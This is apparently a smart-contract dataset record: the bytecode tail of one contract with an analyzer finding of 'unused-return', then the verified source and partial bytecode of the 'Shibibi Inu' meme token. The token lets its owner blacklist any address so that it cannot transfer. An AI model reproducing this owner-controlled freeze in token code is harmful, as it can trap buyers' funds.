565b6000805433600160a060020a0390811691161461117f57600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156111a657600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156107105781600160a060020a03166004828154811015156111eb57fe5b600091825260209091200154600160a060020a031614156112c75760048054600019810190811061121857fe5b60009182526020909120015460048054600160a060020a03909216918390811061123e57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061127a9082611a8b565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610710565b6001016111c8565b600754600160a060020a031681565b60005433600160a060020a039081169116146112f957600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561132a57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600b5474010000000000000000000000000000000000000000900460ff1681565b600b54600160a060020a031681565b600054600160a060020a031681565b60008060006113be8661192e565b91506113c98761192e565b90506113d7858284876119f2565b979650505050505050565b6000808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038a16148061142d575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038816145b151561143857600080fd5b600b54600160a060020a038a8116911614806114615750600b54600160a060020a038881169116145b151561146c57600080fd5b83156114c0576000851161147f57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156114b5573488146114b057600080fd5b6114c0565b34156114c057600080fd5b6114cc89888a886113b0565b9050600081116114db57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561163357600854600954600a54600160a060020a039283169263e50278a692349290821691168b8660006040516020015260405160e060020a63ffffffff8816028152600160a060020a03948516600482015292841660248401529216604482015260648101919091526084016020604051808303818588803b151561158157600080fd5b6125ee5a03f1151561159257600080fd5b505050506040518051925050808210156115ab57600080fd5b86600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561160857600080fd5b6102c65a03f1151561161957600080fd5b50505060405180519050151561162e57600080fd5b6118b2565b88600160a060020a03166323b872dd33308b60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561169d57600080fd5b6102c65a03f115156116ae57600080fd5b5050506040518051905015156116c357600080fd5b6008548890600160a060020a03808c169163dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561172b57600080fd5b6102c65a03f1151561173c57600080fd5b5050506040518051905010156117cd57600854600160a060020a03808b169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156117b157600080fd5b6102c65a03f115156117c257600080fd5b505050604051805150505b600854600954600a54600160a060020a03928316926303e1b3c6928116918d918d91168660006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015260448401929092529092166064820152608481019190915260a401602060405180830381600087803b151561185857600080fd5b6102c65a03f1151561186957600080fd5b50505060405180519250508082101561188157600080fd5b600160a060020a03861681156108fc0282604051600060405180830381858888f1935050505015156118b257600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a858b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561195f57601291506119ec565b50600160a060020a0382166000908152600660205260409020548015156119e85782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156119c657600080fd5b6102c65a03f115156119d757600080fd5b5050506040518051905091506119ec565b8091505b50919050565b60006b204fce5e3e25026110000000851115611a0d57600080fd5b69d3c21bcecceda1000000821115611a2457600080fd5b838310611a575760128484031115611a3b57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611a83565b60128385031115611a6757600080fd5b828403600a0a670de0b6b3a764000002828602811515611a4f57fe5b949350505050565b815481835581811511611aaf57600083815260209020611aaf918101908301611ac6565b505050565b60206040519081016040526000815290565b6105a191905b80821115611ae05760008155600101611acc565b50905600a165627a7a7230582033e1e9235fe06b38838f01dbbc8e89e21b0c8d266a247ac4ba944548d385d7640029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,614
0x648f3eafe9df9ea7ebf0deadc2dfa27bfce936d9
/** *Submitted for verification at Etherscan.io on 2021-12-29 */ /** //SPDX-License-Identifier: UNLICENSED 𝔖𝔥𝔦𝔟𝔦𝔟𝔦 ℑ𝔫𝔲 Telegram: https://t.me/ShibibiInu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceHabeebti() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); }contract ShibibiInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public firstBlock; uint256 public _liqFee; uint256 private _taxFee; address payable private _taxWallet; address payable private _liqWallet; string private constant _name = "Shibibi Inu"; string private constant _symbol = "SHIBIBI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xcC5eBFBb1412D8BecB87E5f8D8E592Dd93eC059d); _liqWallet = payable(0x48Ee6b692ed63547716D6C7262B09B07dcF5616e); _liqFee = 3; _taxFee = 9; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[_liqWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && from != address(this) && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); if(block.number <= firstBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if (from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(uniswapV2Pair) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 liqTokens = (contractTokenBalance/(_taxFee + _liqFee)) * (_liqFee/2); uint256 swapTokens = contractTokenBalance - liqTokens; if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(swapTokens); uint256 contractETHBalance = address(this).balance; uint256 liqETH = (contractETHBalance * liqTokens)/contractTokenBalance; if(contractETHBalance > 0) { increaseLiquidity(liqTokens, liqETH); sendETHToFee(address(this).balance); } } _tokenTransfer(from,to,amount, true); } else { _tokenTransfer(from,to,amount, false); } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function increaseLiquidity(uint256 tokens, uint256 liqETH) private { _approve(address(this), address(uniswapV2Router), tokens); uniswapV2Router.addLiquidityETH{value: liqETH}( address(this), tokens, 0, 0, _liqWallet, block.timestamp ); } function assalamAlaikum() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 230000000000000 * 10**9; tradingOpen = true; firstBlock = block.number; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function punishInfidels(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function forgiveInfidel(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { _transferStandard(sender, recipient, amount, takeFee); } function _transferStandard(address sender, address recipient, uint256 tAmount, bool takeFee) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); if (takeFee) { _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } else { _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } }function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _liqFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb14610386578063c3c8cd80146103c3578063dd62ed3e146103da578063f6372cab14610417578063fc35464e146104425761011f565b80636fc3eaec146102c557806370a08231146102dc5780638da5cb5b1461031957806394c3f7db1461034457806395d89b411461035b5761011f565b8063231b0268116100e7578063231b0268146101e057806323b872dd1461020b5780632993a89014610248578063313ce567146102715780635932ead11461029c5761011f565b8063067788c41461012457806306fdde031461014d578063095ea7b31461017857806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061014b60048036038101906101469190612a20565b610459565b005b34801561015957600080fd5b50610162610549565b60405161016f9190612fdb565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190612afd565b610586565b6040516101ac9190612fc0565b60405180910390f35b3480156101c157600080fd5b506101ca6105a4565b6040516101d7919061313d565b60405180910390f35b3480156101ec57600080fd5b506101f56105b7565b604051610202919061313d565b60405180910390f35b34801561021757600080fd5b50610232600480360381019061022d9190612aae565b6105bd565b60405161023f9190612fc0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b39565b610696565b005b34801561027d57600080fd5b506102866107e6565b60405161029391906131b2565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612b7a565b6107ef565b005b3480156102d157600080fd5b506102da6108a1565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612a20565b610913565b604051610310919061313d565b60405180910390f35b34801561032557600080fd5b5061032e610964565b60405161033b9190612e91565b60405180910390f35b34801561035057600080fd5b5061035961098d565b005b34801561036757600080fd5b50610370610ae0565b60405161037d9190612fdb565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a89190612afd565b610b1d565b6040516103ba9190612fc0565b60405180910390f35b3480156103cf57600080fd5b506103d8610b3b565b005b3480156103e657600080fd5b5061040160048036038101906103fc9190612a72565b610bb5565b60405161040e919061313d565b60405180910390f35b34801561042357600080fd5b5061042c610c3c565b604051610439919061313d565b60405180910390f35b34801561044e57600080fd5b50610457610c42565b005b6104616111a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e59061309d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600b81526020017f5368696269626920496e75000000000000000000000000000000000000000000815250905090565b600061059a6105936111a9565b84846111b1565b6001905092915050565b60006a3913517ebd3c0c65000000905090565b600a5481565b60006105ca84848461137c565b61068b846105d66111a9565b6106868560405180606001604052806028815260200161385a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063c6111a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6b9092919063ffffffff16565b6111b1565b600190509392505050565b61069e6111a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107229061309d565b60405180910390fd5b60005b81518110156107e257600160066000848481518110610776577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107da90613489565b91505061072e565b5050565b60006009905090565b6107f76111a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b9061309d565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26111a9565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611bcf565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6109956111a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a199061309d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606040518060400160405280600781526020017f5348494249424900000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6111a9565b848461137c565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7c6111a9565b73ffffffffffffffffffffffffffffffffffffffff1614610b9c57600080fd5b6000610ba730610913565b9050610bb281611ca9565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610c4a6111a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce9061309d565b60405180910390fd5b601060149054906101000a900460ff1615610d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1e9061311d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a3913517ebd3c0c650000006111b1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dff57600080fd5b505afa158015610e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e379190612a49565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9957600080fd5b505afa158015610ead573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed19190612a49565b6040518363ffffffff1660e01b8152600401610eee929190612eac565b602060405180830381600087803b158015610f0857600080fd5b505af1158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190612a49565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc930610913565b600080610fd4610964565b426040518863ffffffff1660e01b8152600401610ff696959493929190612f5f565b6060604051808303818588803b15801561100f57600080fd5b505af1158015611023573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110489190612bcc565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506930b453321fc603c000006011819055506001601060146101000a81548160ff02191690831515021790555043600a81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611153929190612ed5565b602060405180830381600087803b15801561116d57600080fd5b505af1158015611181573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a59190612ba3565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906130fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061303d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161136f919061313d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e3906130dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561145c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145390612ffd565b60405180910390fd5b6000811161149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906130bd565b60405180910390fd5b6114a7610964565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561151557506114e5610964565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561154d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115a35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116ab57600080fd5b600a54431115801561170a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156117645750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561179c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fa576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118a55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118ff5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119555750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561196d5750601060179054906101000a900460ff165b15611a1d5760115481111561198157600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119cc57600080fd5b601e426119d99190613273565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a2830610913565b905060006002600b54611a3b91906132c9565b600b54600c54611a4b9190613273565b83611a5691906132c9565b611a6091906132fa565b905060008183611a709190613354565b9050601060159054906101000a900460ff16158015611add5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611af55750601060169054906101000a900460ff165b15611b4357611b0381611ca9565b60004790506000848483611b1791906132fa565b611b2191906132c9565b90506000821115611b4057611b368482611fa3565b611b3f47611bcf565b5b50505b611b5086868660016120b2565b505050611b66565b611b6583838360006120b2565b5b505050565b6000838311158290611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa9190612fdb565b60405180910390fd5b5060008385611bc29190613354565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c37573d6000803e3d6000fd5b5050565b6000600854821115611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c799061301d565b60405180910390fd5b6000611c8c6120c4565b9050611ca181846120ef90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d07577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d355781602001602082028036833780820191505090505b5090503081600081518110611d73577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e1557600080fd5b505afa158015611e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4d9190612a49565b81600181518110611e87577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eee30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b1565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f52959493929190613158565b600060405180830381600087803b158015611f6c5760